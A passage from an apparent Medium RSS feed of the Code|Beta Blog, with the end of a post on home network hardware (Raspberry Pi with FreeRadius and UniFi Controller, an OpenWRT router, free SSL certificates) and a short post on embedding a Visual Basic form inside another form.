3</a> is a small single board computer that uses a small amount of power and yet is powerful enough to act as a simple server.</p><p>In my setup it’s running <a href="http://freeradius.org/">FreeRadius</a> for the Radius server, <a href="https://www.mysql.com/">MySQL</a> for the credentials storage, and the <a href="https://dl.ubnt.com/guides/UniFi/UniFi_Controller_V4_UG.pdf">UniFi Controller</a> to control the access point.</p><p>Later on I will expand the services provided by adding a LightHTTP server to host a page for users to register and update their credentials for the WiFi network. Possibly a log service so the router and other devices send their logs to it.</p><h3>Netgear WNDR3700</h3><p>This is the oldest piece of hardware on the setup because the router doesn’t really have a switch and I’m connecting more devices than the amount of ports the router has, I also started using this router to connect the Ubiquiti hardware to the already existing WiFi network because of the location where I was setting it up and to provide the setup I needed to securely set it up without having it open to the internet.</p><p>I’m not using the wireless radios that it has and I’m just using it as a managed switch and it would also allow me to do packet capture for traffic analysis on the network. I might later replace it with an unmanaged Linksys gigabit switch which has double the amount of ports but for now this will do.</p><p>For the firmware it’s running the OpenWRT OS and using CloudShark to capture packets.</p><h3>SSL Certificates</h3><p>Anyone that has configured any network device that uses a SSL certificate for the web page, and should ditch any device that doesn’t, knows that it’s common to see a generic certificate being used and for this to generate warnings in the web browser of their choice.</p><p>Luckily these devices allow for an easy switch of certificates so that you don’t have the warnings for the browser. You could either go with the self-signed SSL certificates, which can be a hassle, or get a free certificate from a good Certificate Authority and in my case I went with <a href="https://www.startssl.com/">StartSSL</a> as the name came up in some posts that I was reading and they offer free certificates that can be used with your own domain and you can generate as many as needed.</p><p>Don’t expect a lot of bells and whistles with the free certificates as they’re usually pretty basic and shouldn’t be used for high security cases but will work perfectly for devices like these and won’t give you certificate warnings in major web browsers whilst providing general security and encrypted communication.</p><h3>Conclusion</h3><p>That is the hardware I’m using for my new network setup and went from one device to having 3 devices to support it all but it does give me more options to configure the network and services. I have always wanted to setup credentials for my home network, at first I looked into Windows Domains and also having a proxy with authentication but never actually configured those. The proxy had to be transparent as back in the day the operating systems didn’t exactly allow for proxy configurations to be setup per network like most of them do nowadays.</p><p>This is a really nice setup and definitely an interesting project to setup and expand on.</p><p>I hope that my parents might want to upgrade their home network so I can get more Ubiquiti hardware and setup a multi-site wifi network to work seamlessly, meaning that the same credentials would work on both sites and the wifi configuration would be shared as well. Also they would benefit from using two access points as their current setup has issues with some areas of the two floor house.</p><p>I will go into the setup of each device in later posts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e8a8ddbf0f9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/new-network-hardware-3e8a8ddbf0f9">New Network Hardware</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A form within a form]]></title>
            <link>https://medium.com/code-beta-blog/a-form-within-a-form-acbb122a7796?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/acbb122a7796</guid>
            <category><![CDATA[visual-basic-programming]]></category>
            <category><![CDATA[forms]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Tue, 26 Apr 2016 14:23:43 GMT</pubDate>
            <atom:updated>2016-04-26T14:23:09.350Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPVbnRD0AvFmQdVSSCLW8A.jpeg" /></figure><p>Inserting a form within another form has it uses at certain points whether it’s intentionally done or it’s made in a sense where it would only be used in certain conditions and the code to implement it is quite simple.</p><p>Let&#39;s take a look at the following code</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/449da121eea4e280d41dd0ac3a19f20e/href">https://medium.com/media/449da121eea4e280d41dd0ac3a19f20e/href</a></iframe><p>So essentially what we’re doing is loading the form as if it was a control and in turn we’ll need a container where to load it, in this case I’m using a tab control, as we wouldn’t want to take up the whole space of the form as that would just be wasting resources.</p><p>So going a bit into the code, first we create a new instance of the form that we want to insert and then change the settings so that it doesn’t contain any Form Borders and that it fills the container where it is going to be inserted. The last step is to add the instance of the form as if it was a control.</p><p>Now, why would you want to add a form within another form? Well cases where it’s intentionally done are a tabbed web browser or text editor or where several different things need to be displayed. A case where it wouldn’t be intentionally could be like having a form which may load a certain view where it needs to show data from other forms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acbb122a7796" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/a-form-within-a-form-acbb122a7796">A form within a form</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>